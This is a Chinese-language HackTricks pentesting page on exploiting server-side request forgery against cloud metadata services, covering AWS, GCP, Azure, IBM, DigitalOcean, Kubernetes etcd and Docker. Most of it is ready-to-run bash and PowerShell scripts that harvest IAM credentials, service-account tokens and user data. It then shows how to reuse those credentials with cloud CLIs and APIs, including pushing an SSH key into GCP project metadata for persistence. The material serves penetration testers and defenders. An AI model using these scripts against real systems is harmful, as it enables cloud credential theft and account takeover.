hacktricks/pentesting-web/ssrf-server-side-request-forgery/cloud-ssrf.md

# 云端SSRF

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***

## AWS

### 在AWS EC2环境中滥用SSRF

**元数据**端点可以从任何EC2机器内部访问，并提供有关其的有趣信息。它可以在以下URL中访问：`http://169.254.169.254`（[有关元数据的信息在此处](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/ec2-instance-metadata.html)）。

有**2个版本**的元数据端点。**第一个**版本允许通过**GET**请求访问端点（因此任何**SSRF都可以利用它**）。对于**版本2**，[IMDSv2](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/configuring-instance-metadata-service.html)，您需要发送带有**HTTP头**的**PUT**请求来请求一个**令牌**，然后使用该令牌通过另一个HTTP头访问元数据（因此使用SSRF**更加复杂**）。

{% hint style="danger" %}
请注意，如果EC2实例正在强制执行IMDSv2，[**根据文档**](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/instance-metadata-v2-how-it-works.html)，**PUT请求的响应**将具有**1个跳数限制**，这将使得无法从EC2实例内部的容器访问EC2元数据。

此外，**IMDSv2**还将**阻止包含`X-Forwarded-For`头的请求以获取令牌**。这是为了防止配置错误的反向代理能够访问它。
{% endhint %}

您可以在文档中找到有关[元数据端点的信息](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/instancedata-data-categories.html)。在以下脚本中，从中获取了一些有趣的信息：
```bash
EC2_TOKEN=$(curl -X PUT "http://169.254.169.254/latest/api/token" -H "X-aws-ec2-metadata-token-ttl-seconds: 21600" 2>/dev/null || wget -q -O - --method PUT "http://169.254.169.254/latest/api/token" --header "X-aws-ec2-metadata-token-ttl-seconds: 21600" 2>/dev/null)
HEADER="X-aws-ec2-metadata-token: $EC2_TOKEN"
URL="http://169.254.169.254/latest/meta-data"

aws_req=""
if [ "$(command -v curl)" ]; then
aws_req="curl -s -f -H '$HEADER'"
elif [ "$(command -v wget)" ]; then
aws_req="wget -q -O - -H '$HEADER'"
else
echo "Neither curl nor wget were found, I can't enumerate the metadata service :("
fi

printf "ami-id: "; eval $aws_req "$URL/ami-id"; echo ""
printf "instance-action: "; eval $aws_req "$URL/instance-action"; echo ""
printf "instance-id: "; eval $aws_req "$URL/instance-id"; echo ""
printf "instance-life-cycle: "; eval $aws_req "$URL/instance-life-cycle"; echo ""
printf "instance-type: "; eval $aws_req "$URL/instance-type"; echo ""
printf "region: "; eval $aws_req "$URL/placement/region"; echo ""

echo ""
echo "Account Info"
eval $aws_req "$URL/identity-credentials/ec2/info"; echo ""
eval $aws_req "http://169.254.169.254/latest/dynamic/instance-identity/document"; echo ""

echo ""
echo "Network Info"
for mac in $(eval $aws_req "$URL/network/interfaces/macs/" 2>/dev/null); do
echo "Mac: $mac"
printf "Owner ID: "; eval $aws_req "$URL/network/interfaces/macs/$mac/owner-id"; echo ""
printf "Public Hostname: "; eval $aws_req "$URL/network/interfaces/macs/$mac/public-hostname"; echo ""
printf "Security Groups: "; eval $aws_req "$URL/network/interfaces/macs/$mac/security-groups"; echo ""
echo "Private IPv4s:"; eval $aws_req "$URL/network/interfaces/macs/$mac/ipv4-associations/"; echo ""
printf "Subnet IPv4: "; eval $aws_req "$URL/network/interfaces/macs/$mac/subnet-ipv4-cidr-block"; echo ""
echo "PrivateIPv6s:"; eval $aws_req "$URL/network/interfaces/macs/$mac/ipv6s"; echo ""
printf "Subnet IPv6: "; eval $aws_req "$URL/network/interfaces/macs/$mac/subnet-ipv6-cidr-blocks"; echo ""
echo "Public IPv4s:"; eval $aws_req "$URL/network/interfaces/macs/$mac/public-ipv4s"; echo ""
echo ""
done

echo ""
echo "IAM Role"
eval $aws_req "$URL/iam/info"
for role in $(eval $aws_req "$URL/iam/security-credentials/" 2>/dev/null); do
echo "Role: $role"
eval $aws_req "$URL/iam/security-credentials/$role"; echo ""
echo ""
done

echo ""
echo "User Data"
# Search hardcoded credentials
eval $aws_req "http://169.254.169.254/latest/user-data"

echo ""
echo "EC2 Security Credentials"
eval $aws_req "$URL/identity-credentials/ec2/security-credentials/ec2-instance"; echo ""
```
作为公开可用的IAM凭证暴露的示例，您可以访问：[http://4d0cf09b9b2d761a7d87be99d17507bce8b86f3b.flaws.cloud/proxy/169.254.169.254/latest/meta-data/iam/security-credentials/flaws](http://4d0cf09b9b2d761a7d87be99d17507bce8b86f3b.flaws.cloud/proxy/169.254.169.254/latest/meta-data/iam/security-credentials/flaws)

您还可以在以下位置检查公开的EC2安全凭证：[http://4d0cf09b9b2d761a7d87be99d17507bce8b86f3b.flaws.cloud/proxy/169.254.169.254/latest/meta-data/identity-credentials/ec2/security-credentials/ec2-instance](http://4d0cf09b9b2d761a7d87be99d17507bce8b86f3b.flaws.cloud/proxy/169.254.169.254/latest/meta-data/identity-credentials/ec2/security-credentials/ec2-instance)

然后，您可以使用这些凭证与AWS CLI。这将允许您执行该角色具有权限执行的任何操作。

要利用新凭证，您需要创建一个新的AWS配置文件，如下所示：
```
[profilename]
aws_access_key_id = ASIA6GG7PSQG4TCGYYOU
aws_secret_access_key = a5kssI2I4H/atUZOwBr5Vpggd9CxiT5pUkyPJsjC
aws_session_token = AgoJb3JpZ2luX2VjEGcaCXVzLXdlc3QtMiJHMEUCIHgCnKJl8fwc+0iaa6n4FsgtWaIikf5mSSoMIWsUGMb1AiEAlOiY0zQ31XapsIjJwgEXhBIW3u/XOfZJTrvdNe4rbFwq2gMIYBAAGgw5NzU0MjYyNjIwMjkiDCvj4qbZSIiiBUtrIiq3A8IfXmTcebRDxJ9BGjNwLbOYDlbQYXBIegzliUez3P/fQxD3qDr+SNFg9w6WkgmDZtjei6YzOc/a9TWgIzCPQAWkn6BlXufS+zm4aVtcgvBKyu4F432AuT4Wuq7zrRc+42m3Z9InIM0BuJtzLkzzbBPfZAz81eSXumPdid6G/4v+o/VxI3OrayZVT2+fB34cKujEOnBwgEd6xUGUcFWb52+jlIbs8RzVIK/xHVoZvYpY6KlmLOakx/mOyz1tb0Z204NZPJ7rj9mHk+cX/G0BnYGIf8ZA2pyBdQyVbb1EzV0U+IPlI+nkIgYCrwTCXUOYbm66lj90frIYG0x2qI7HtaKKbRM5pcGkiYkUAUvA3LpUW6LVn365h0uIbYbVJqSAtjxUN9o0hbQD/W9Y6ZM0WoLSQhYt4jzZiWi00owZJjKHbBaQV6RFwn5mCD+OybS8Y1dn2lqqJgY2U78sONvhfewiohPNouW9IQ7nPln3G/dkucQARa/eM/AC1zxLu5nt7QY8R2x9FzmKYGLh6sBoNO1HXGzSQlDdQE17clcP+hrP/m49MW3nq/A7WHIczuzpn4zv3KICLPIw2uSc7QU6tAEln14bV0oHtHxqC6LBnfhx8yaD9C71j8XbDrfXOEwdOy2hdK0M/AJ3CVe/mtxf96Z6UpqVLPrsLrb1TYTEWCH7yleN0i9koRQDRnjntvRuLmH2ERWLtJFgRU2MWqDNCf2QHWn+j9tYNKQVVwHs3i8paEPyB45MLdFKJg6Ir+Xzl2ojb6qLGirjw8gPufeCM19VbpeLPliYeKsrkrnXWO0o9aImv8cvIzQ8aS1ihqOtkedkAsw=
```
注意**aws\_session\_token**，这对配置文件的工作是必不可少的。

[**PACU**](https://github.com/RhinoSecurityLabs/pacu)可与发现的凭据一起使用，以查明您的权限并尝试提升权限

### AWS ECS（容器服务）凭据中的SSRF

**ECS**是一组逻辑EC2实例，您可以在其中运行应用程序，而无需扩展自己的集群管理基础设施，因为ECS会为您管理。如果您成功地妥协了在**ECS**中运行的服务，则**元数据端点会发生变化**。

如果您访问_**http://169.254.170.2/v2/credentials/\<GUID>**_，您将找到ECS机器的凭据。但首先，您需要**找到\<GUID>**。要找到\<GUID>，您需要读取机器内的**environ**变量**AWS\_CONTAINER\_CREDENTIALS\_RELATIVE\_URI**。\
您可以利用**路径遍历**到`file:///proc/self/environ`来读取它。\
上述的http地址应该提供给您**AccessKey、SecretKey和token**。
```bash
curl "http://169.254.170.2$AWS_CONTAINER_CREDENTIALS_RELATIVE_URI" 2>/dev/null || wget "http://169.254.170.2$AWS_CONTAINER_CREDENTIALS_RELATIVE_URI" -O -
```
{% hint style="info" %}
请注意，在**某些情况下**，您可以从容器中访问**EC2元数据实例**（请检查之前提到的IMDSv2 TTL限制）。在这些情况下，您可以从容器中访问容器IAM角色和EC2 IAM角色。
{% endhint %}

### 用于AWS Lambda的SSRF <a href="#id-6f97" id="id-6f97"></a>

在这种情况下，**凭据存储在环境变量**中。因此，要访问它们，您需要访问类似于**`file:///proc/self/environ`**的内容。

**有趣的环境变量的名称**包括：

- `AWS_SESSION_TOKEN`
- `AWS_SECRET_ACCESS_KEY`
- `AWS_ACCES_KEY_ID`

此外，除了IAM凭据，Lambda函数还具有在启动函数时传递给函数的**事件数据**。此数据通过[运行时接口](https://docs.aws.amazon.com/lambda/latest/dg/runtimes-api.html)提供给函数，并且可能包含**敏感信息**（例如**stageVariables**中的信息）。与IAM凭据不同，此数据可以通过标准SSRF在**`http://localhost:9001/2018-06-01/runtime/invocation/next`**上访问。

{% hint style="warning" %}
请注意，**Lambda凭据**位于**环境变量**中。因此，如果Lambda代码的**堆栈跟踪**打印环境变量，可能会通过在应用程序中**引发错误**来**泄露**它们。
{% endhint %}

### 用于AWS Elastic Beanstalk的SSRF URL <a href="#id-6f97" id="id-6f97"></a>

我们从API中检索`accountId`和`region`。
```
http://169.254.169.254/latest/dynamic/instance-identity/document
http://169.254.169.254/latest/meta-data/iam/security-credentials/aws-elasticbeanorastalk-ec2-role
```
我们随后从API中检索`AccessKeyId`、`SecretAccessKey`和`Token`。
```
http://169.254.169.254/latest/meta-data/iam/security-credentials/aws-elasticbeanorastalk-ec2-role
```
![](https://miro.medium.com/max/60/0\*4OG-tRUNhpBK96cL?q=20) ![](https://miro.medium.com/max/1469/0\*4OG-tRUNhpBK96cL)

然后我们使用这些凭据与 `aws s3 ls s3://elasticbeanstalk-us-east-2-[ACCOUNT_ID]/`。

## GCP <a href="#id-6440" id="id-6440"></a>

您可以在[**这里找到有关元数据端点的文档**](https://cloud.google.com/appengine/docs/standard/java/accessing-instance-metadata)。

### Google Cloud 的 SSRF URL <a href="#id-6440" id="id-6440"></a>

需要 HTTP 标头 **`Metadata-Flavor: Google`**，您可以通过以下 URL 访问元数据端点：

* http://169.254.169.254
* http://metadata.google.internal
* http://metadata

提取信息的有趣端点：
```bash
# /project
# Project name and number
curl -s -H "Metadata-Flavor:Google" http://metadata/computeMetadata/v1/project/project-id
curl -s -H "Metadata-Flavor:Google" http://metadata/computeMetadata/v1/project/numeric-project-id
# Project attributes
curl -s -H "Metadata-Flavor:Google" http://metadata/computeMetadata/v1/project/attributes/?recursive=true

# /oslogin
# users
curl -s -f -H "Metadata-Flavor: Google" http://metadata/computeMetadata/v1/oslogin/users
# groups
curl -s -f -H "Metadata-Flavor: Google" http://metadata/computeMetadata/v1/oslogin/groups
# security-keys
curl -s -f -H "Metadata-Flavor: Google" http://metadata/computeMetadata/v1/oslogin/security-keys
# authorize
curl -s -f -H "Metadata-Flavor: Google" http://metadata/computeMetadata/v1/oslogin/authorize

# /instance
# Description
curl -s -H "Metadata-Flavor:Google" http://metadata/computeMetadata/v1/instance/description
# Hostname
curl -s -H "Metadata-Flavor:Google" http://metadata/computeMetadata/v1/instance/hostname
# ID
curl -s -H "Metadata-Flavor:Google" http://metadata/computeMetadata/v1/instance/id
# Image
curl -s -H "Metadata-Flavor:Google" http://metadata/computeMetadata/v1/instance/image
# Machine Type
curl -s -H "Metadata-Flavor: Google" http://metadata/computeMetadata/v1/instance/machine-type
# Name
curl -s -H "Metadata-Flavor: Google" http://metadata/computeMetadata/v1/instance/name
# Tags
curl -s -f -H "Metadata-Flavor: Google" http://metadata/computeMetadata/v1/instance/scheduling/tags
# Zone
curl -s -f -H "Metadata-Flavor: Google" http://metadata/computeMetadata/v1/instance/zone
# User data
curl -s -f -H "Metadata-Flavor: Google" "http://metadata/computeMetadata/v1/instance/attributes/startup-script"
# Network Interfaces
for iface in $(curl -s -f -H "Metadata-Flavor: Google" "http://metadata/computeMetadata/v1/instance/network-interfaces/"); do
echo "  IP: "$(curl -s -f -H "Metadata-Flavor: Google" "http://metadata/computeMetadata/v1/instance/network-interfaces/$iface/ip")
echo "  Subnetmask: "$(curl -s -f -H "X-Google-Metadata-Request: True" "http://metadata/computeMetadata/v1/instance/network-interfaces/$iface/subnetmask")
echo "  Gateway: "$(curl -s -f -H "Metadata-Flavor: Google" "http://metadata/computeMetadata/v1/instance/network-interfaces/$iface/gateway")
echo "  DNS: "$(curl -s -f -H "Metadata-Flavor: Google" "http://metadata/computeMetadata/v1/instance/network-interfaces/$iface/dns-servers")
echo "  Network: "$(curl -s -f -H "Metadata-Flavor: Google" "http://metadata/computeMetadata/v1/instance/network-interfaces/$iface/network")
echo "  ==============  "
done
# Service Accounts
for sa in $(curl -s -f -H "Metadata-Flavor: Google" "http://metadata/computeMetadata/v1/instance/service-accounts/"); do
echo "  Name: $sa"
echo "  Email: "$(curl -s -f -H "Metadata-Flavor: Google" "http://metadata/computeMetadata/v1/instance/service-accounts/${sa}email")
echo "  Aliases: "$(curl -s -f -H "Metadata-Flavor: Google" "http://metadata/computeMetadata/v1/instance/service-accounts/${sa}aliases")
echo "  Identity: "$(curl -s -f -H "Metadata-Flavor: Google" "http://metadata/computeMetadata/v1/instance/service-accounts/${sa}identity")
echo "  Scopes: "$(curl -s -f -H "Metadata-Flavor: Google" "http://metadata/computeMetadata/v1/instance/service-accounts/${sa}scopes")
echo "  Token: "$(curl -s -f -H "Metadata-Flavor: Google" "http://metadata/computeMetadata/v1/instance/service-accounts/${sa}token")
echo "  ==============  "
done
# K8s Attributtes
## Cluster location
curl -s -f -H "Metadata-Flavor: Google" http://metadata/computeMetadata/v1/instance/attributes/cluster-location
## Cluster name
curl -s -f -H "Metadata-Flavor: Google" http://metadata/computeMetadata/v1/instance/attributes/cluster-name
## Os-login enabled
curl -s -f -H "Metadata-Flavor: Google" http://metadata/computeMetadata/v1/instance/attributes/enable-oslogin
## Kube-env
curl -s -f -H "Metadata-Flavor: Google" http://metadata/computeMetadata/v1/instance/attributes/kube-env
## Kube-labels
curl -s -f -H "Metadata-Flavor: Google" http://metadata/computeMetadata/v1/instance/attributes/kube-labels
## Kubeconfig
curl -s -f -H "Metadata-Flavor: Google" http://metadata/computeMetadata/v1/instance/attributes/kubeconfig

# All custom project attributes
curl "http://metadata.google.internal/computeMetadata/v1/project/attributes/?recursive=true&alt=text" \
-H "Metadata-Flavor: Google"

# All custom project attributes instance attributes
curl "http://metadata.google.internal/computeMetadata/v1/instance/attributes/?recursive=true&alt=text" \
-H "Metadata-Flavor: Google"
```
Beta目前不需要标题（感谢Mathias Karlsson @avlidienbrunn）
```
http://metadata.google.internal/computeMetadata/v1beta1/
http://metadata.google.internal/computeMetadata/v1beta1/?recursive=true
```
{% hint style="danger" %}
为了**使用外泄的服务账户令牌**，您只需执行以下操作：
```bash
# Via env vars
export CLOUDSDK_AUTH_ACCESS_TOKEN=<token>
gcloud projects list

# Via setup
echo "<token>" > /some/path/to/token
gcloud config set auth/access_token_file /some/path/to/token
gcloud projects list
gcloud config unset auth/access_token_file
```
{% endhint %}

### 添加一个SSH密钥 <a href="#id-3e24" id="id-3e24"></a>

提取令牌
```
http://metadata.google.internal/computeMetadata/v1beta1/instance/service-accounts/default/token?alt=json
```
检查令牌的范围（使用先前的输出或运行以下内容）
```bash
curl https://www.googleapis.com/oauth2/v1/tokeninfo?access_token=ya29.XXXXXKuXXXXXXXkGT0rJSA  {
"issued_to": "101302079XXXXX",
"audience": "10130207XXXXX",
"scope": "https://www.googleapis.com/auth/compute https://www.googleapis.com/auth/logging.write https://www.googleapis.com/auth/devstorage.read_write https://www.googleapis.com/auth/monitoring",
"expires_in": 2443,
"access_type": "offline"
}
```
现在推送SSH密钥。

{% code overflow="wrap" %}
```bash
curl -X POST "https://www.googleapis.com/compute/v1/projects/1042377752888/setCommonInstanceMetadata"
-H "Authorization: Bearer ya29.c.EmKeBq9XI09_1HK1XXXXXXXXT0rJSA"
-H "Content-Type: application/json"
--data '{"items": [{"key": "sshkeyname", "value": "sshkeyvalue"}]}'
```
### 云函数 <a href="#id-9f1f" id="id-9f1f"></a>

元数据端点的工作方式与虚拟机中相同，但没有一些端点：
```bash
# /project
# Project name and number
curl -s -H "Metadata-Flavor:Google" http://metadata/computeMetadata/v1/project/project-id
curl -s -H "Metadata-Flavor:Google" http://metadata/computeMetadata/v1/project/numeric-project-id

# /instance
# ID
curl -s -H "Metadata-Flavor:Google" http://metadata/computeMetadata/v1/instance/id
# Zone
curl -s -f -H "Metadata-Flavor: Google" http://metadata/computeMetadata/v1/instance/zone
# Auto MTLS config
curl -s -H "Metadata-Flavor:Google" http://metadata/computeMetadata/v1/instance/platform-security/auto-mtls-configuration
# Service Accounts
for sa in $(curl -s -f -H "Metadata-Flavor: Google" "http://metadata/computeMetadata/v1/instance/service-accounts/"); do
echo "  Name: $sa"
echo "  Email: "$(curl -s -f -H "Metadata-Flavor: Google" "http://metadata/computeMetadata/v1/instance/service-accounts/${sa}email")
echo "  Aliases: "$(curl -s -f -H "Metadata-Flavor: Google" "http://metadata/computeMetadata/v1/instance/service-accounts/${sa}aliases")
echo "  Identity: "$(curl -s -f -H "Metadata-Flavor: Google" "http://metadata/computeMetadata/v1/instance/service-accounts/${sa}identity")
echo "  Scopes: "$(curl -s -f -H "Metadata-Flavor: Google" "http://metadata/computeMetadata/v1/instance/service-accounts/${sa}scopes")
echo "  Token: "$(curl -s -f -H "Metadata-Flavor: Google" "http://metadata/computeMetadata/v1/instance/service-accounts/${sa}token")
echo "  ==============  "
done
```
## Digital Ocean <a href="#id-9f1f" id="id-9f1f"></a>

{% hint style="warning" %}
没有像 AWS 角色或 GCP 服务账户那样的东西，所以不要期望找到元数据机器凭证
{% endhint %}

文档可在[`https://developers.digitalocean.com/documentation/metadata/`](https://developers.digitalocean.com/documentation/metadata/)找到
```
curl http://169.254.169.254/metadata/v1/id
http://169.254.169.254/metadata/v1.json
http://169.254.169.254/metadata/v1/
http://169.254.169.254/metadata/v1/id
http://169.254.169.254/metadata/v1/user-data
http://169.254.169.254/metadata/v1/hostname
http://169.254.169.254/metadata/v1/region
http://169.254.169.254/metadata/v1/interfaces/public/0/ipv6/addressAll in one request:
curl http://169.254.169.254/metadata/v1.json | jq
```
<figure><img src="../../.gitbook/assets/image (675).png" alt=""><figcaption></figcaption></figure>

找到最重要的漏洞，这样您就可以更快地修复它们。Intruder跟踪您的攻击面，运行积极的威胁扫描，发现整个技术堆栈中的问题，从API到Web应用程序和云系统。[**立即免费试用**](https://www.intruder.io/?utm\_source=referral\&utm\_campaign=hacktricks)。

{% embed url="https://www.intruder.io/?utm_campaign=hacktricks&utm_source=referral" %}

***

## Azure <a href="#cea8" id="cea8"></a>

### Azure VM

[**此处的文档**](https://learn.microsoft.com/en-us/azure/virtual-machines/windows/instance-metadata-service?tabs=linux)。

* **必须**包含标题`Metadata: true`
* 不能包含`X-Forwarded-For`头部

{% tabs %}
{% tab title="Bash" %}
{% code overflow="wrap" %}
```bash
HEADER="Metadata:true"
URL="http://169.254.169.254/metadata"
API_VERSION="2021-12-13" #https://learn.microsoft.com/en-us/azure/virtual-machines/instance-metadata-service?tabs=linux#supported-api-versions

echo "Instance details"
curl -s -f -H "$HEADER" "$URL/instance?api-version=$API_VERSION"

echo "Load Balancer details"
curl -s -f -H "$HEADER" "$URL/loadbalancer?api-version=$API_VERSION"

echo "Management Token"
curl -s -f -H "$HEADER" "$URL/identity/oauth2/token?api-version=$API_VERSION&resource=https://management.azure.com/"

echo "Graph token"
curl -s -f -H "$HEADER" "$URL/identity/oauth2/token?api-version=$API_VERSION&resource=https://graph.microsoft.com/"

echo "Vault token"
curl -s -f -H "$HEADER" "$URL/identity/oauth2/token?api-version=$API_VERSION&resource=https://vault.azure.net/"

echo "Storage token"
curl -s -f -H "$HEADER" "$URL/identity/oauth2/token?api-version=$API_VERSION&resource=https://storage.azure.com/"
```
{% endcode %}
{% endtab %}

{% tab title="PS" %}
```bash
# Powershell
Invoke-RestMethod -Headers @{"Metadata"="true"} -Method GET -NoProxy -Uri "http://169.254.169.254/metadata/instance?api-version=2021-02-01" | ConvertTo-Json -Depth 64
## User data
$userData = Invoke- RestMethod -Headers @{"Metadata"="true"} -Method GET -Uri "http://169.254.169.254/metadata/instance/compute/userData?api-version=2021- 01-01&format=text"
[System.Text.Encoding]::UTF8.GetString([Convert]::FromBase64String($userData))

# Paths
/metadata/instance?api-version=2017-04-02
/metadata/instance/network/interface/0/ipv4/ipAddress/0/publicIpAddress?api-version=2017-04-02&format=text
/metadata/instance/compute/userData?api-version=2021-01-01&format=text
```
### Azure App Service

从 **env** 中，您可以获取 `IDENTITY_HEADER` 和 `IDENTITY_ENDPOINT` 的值。您可以使用这些值来获取一个令牌，以便与元数据服务器通信。

大多数情况下，您希望获取以下资源之一的令牌：

* [https://storage.azure.com](https://storage.azure.com/)
* [https://vault.azure.net](https://vault.azure.net/)
* [https://graph.microsoft.com](https://graph.microsoft.com/)
* [https://management.azure.com](https://management.azure.com/)
```bash
# Check for those env vars to know if you are in an Azure app
echo $IDENTITY_HEADER
echo $IDENTITY_ENDPOINT

# You should also be able to find the folder:
ls /opt/microsoft
#and the file
ls /opt/microsoft/msodbcsql17

# Get management token
curl "$IDENTITY_ENDPOINT?resource=https://management.azure.com/&api-version=2017-09-01" -H secret:$IDENTITY_HEADER
# Get graph token
curl "$IDENTITY_ENDPOINT?resource=https://graph.azure.com/&api-version=2017-09-01" -H secret:$IDENTITY_HEADER

# API
# Get Subscriptions
URL="https://management.azure.com/subscriptions?api-version=2020-01-01"
curl -H "Authorization: $TOKEN" "$URL"
# Get current permission on resources in the subscription
URL="https://management.azure.com/subscriptions/<subscription-uid>/resources?api-version=2020-10-01'"
curl -H "Authorization: $TOKEN" "$URL"
# Get permissions in a VM
URL="https://management.azure.com/subscriptions/<subscription-uid>/resourceGroups/Engineering/providers/Microsoft.Compute/virtualMachines/<VM-name>/providers/Microsoft.Authorization/permissions?api-version=2015-07-01"
curl -H "Authorization: $TOKEN" "$URL"
```

```powershell
# API request in powershell to management endpoint
$Token = 'eyJ0eX..'
$URI='https://management.azure.com/subscriptions?api-version=2020-01-01'
$RequestParams = @{
Method = 'GET'
Uri = $URI
Headers = @{
'Authorization' = "Bearer $Token"
}
}
(Invoke-RestMethod @RequestParams).value

# API request to graph endpoint (get enterprise applications)
$Token = 'eyJ0eX..'
$URI = 'https://graph.microsoft.com/v1.0/applications'
$RequestParams = @{
Method = 'GET'
Uri = $URI
Headers = @{
'Authorization' = "Bearer $Token"
}
}
(Invoke-RestMethod @RequestParams).value

# Using AzureAD Powershell module witho both management and graph tokens
$token = 'eyJ0e..'
$graphaccesstoken = 'eyJ0eX..'
Connect-AzAccount -AccessToken $token -GraphAccessToken $graphaccesstoken -AccountId 2e91a4f12984-46ee-2736-e32ff2039abc

# Try to get current perms over resources
Get-AzResource
## The following error means that the user doesn't have permissions over any resource
Get-AzResource : 'this.Client.SubscriptionId' cannot be null.
At line:1 char:1
+ Get-AzResource
+ ~~~~~~~~~~~~~~
+ CategoryInfo : CloseError: (:) [Get-AzResource],ValidationException
+ FullyQualifiedErrorId :
Microsoft.Azure.Commands.ResourceManager.Cmdlets.Implementation.GetAzureResourceCmdlet
```
## IBM 云 <a href="#id-2af0" id="id-2af0"></a>

{% hint style="warning" %}
请注意，在 IBM 中，默认情况下未启用元数据，因此即使您在 IBM 云虚拟机内部，也可能无法访问它。
{% endhint %}

{% code overflow="wrap" %}
```bash
export instance_identity_token=`curl -s -X PUT "http://169.254.169.254/instance_identity/v1/token?version=2022-03-01"\
-H "Metadata-Flavor: ibm"\
-H "Accept: application/json"\
-d '{
"expires_in": 3600
}' | jq -r '(.access_token)'`

# Get instance details
curl -s -H "Accept: application/json" -H "Authorization: Bearer $instance_identity_token" -X GET "http://169.254.169.254/metadata/v1/instance?version=2022-03-01" | jq

# Get SSH keys info
curl -s -X GET -H "Accept: application/json" -H "Authorization: Bearer $instance_identity_token" "http://169.254.169.254/metadata/v1/keys?version=2022-03-01" | jq

# Get SSH keys fingerprints & user data
curl -s -X GET -H "Accept: application/json" -H "Authorization: Bearer $instance_identity_token" "http://169.254.169.254/metadata/v1/instance/initialization?version=2022-03-01" | jq

# Get placement groups
curl -s -X GET -H "Accept: application/json" -H "Authorization: Bearer $instance_identity_token" "http://169.254.169.254/metadata/v1/placement_groups?version=2022-03-01" | jq

# Get IAM credentials
curl -s -X POST -H "Accept: application/json" -H "Authorization: Bearer $instance_identity_token" "http://169.254.169.254/instance_identity/v1/iam_token?version=2022-03-01" | jq
```
{% endcode %}

各平台的元数据服务文档如下，突出了可以访问实例配置和运行时信息的方法。每个平台都提供独特的端点来访问其元数据服务。

## Packetcloud

要访问Packetcloud的元数据，可以在以下位置找到文档：[https://metadata.packet.net/userdata](https://metadata.packet.net/userdata)

## OpenStack/RackSpace

没有提到需要头部信息。可以通过以下方式访问元数据：

* `http://169.254.169.254/openstack`

## HP Helion

这里也没有提到需要头部信息。可以在以下位置访问元数据：

* `http://169.254.169.254/2009-04-04/meta-data/`

## Oracle Cloud

Oracle Cloud提供一系列端点来访问各种元数据方面：

* `http://192.0.0.192/latest/`
* `http://192.0.0.192/latest/user-data/`
* `http://192.0.0.192/latest/meta-data/`
* `http://192.0.0.192/latest/attributes/`

## Alibaba

阿里巴巴提供用于访问元数据的端点，包括实例和镜像ID：

* `http://100.100.100.200/latest/meta-data/`
* `http://100.100.100.200/latest/meta-data/instance-id`
* `http://100.100.100.200/latest/meta-data/image-id`

## Kubernetes ETCD

Kubernetes ETCD可以保存API密钥、内部IP地址和端口。访问方法如下：

* `curl -L http://127.0.0.1:2379/version`
* `curl http://127.0.0.1:2379/v2/keys/?recursive=true`

## Docker

可以在本地访问Docker元数据，提供了有关容器和镜像信息检索的示例：

* 通过Docker套接字访问容器和镜像元数据的简单示例：
* `docker run -ti -v /var/run/docker.sock:/var/run/docker.sock bash`
* 在容器内部，使用带有Docker套接字的curl：
* `curl --unix-socket /var/run/docker.sock http://foo/containers/json`
* `curl --unix-socket /var/run/docker.sock http://foo/images/json`

## Rancher

可以使用以下方式访问Rancher的元数据：

* `curl http://rancher-metadata/<version>/<path>`

<figure><img src="../../.gitbook/assets/image (675).png" alt=""><figcaption></figcaption></figure>

找到最重要的漏洞，以便更快地修复它们。Intruder跟踪您的攻击面，运行主动威胁扫描，发现整个技术堆栈中的问题，从API到Web应用程序和云系统。[**立即免费试用**](https://www.intruder.io/?utm\_source=referral\&utm\_campaign=hacktricks)。

{% embed url="https://www.intruder.io/?utm_campaign=hacktricks&utm_source=referral" %}

<details>

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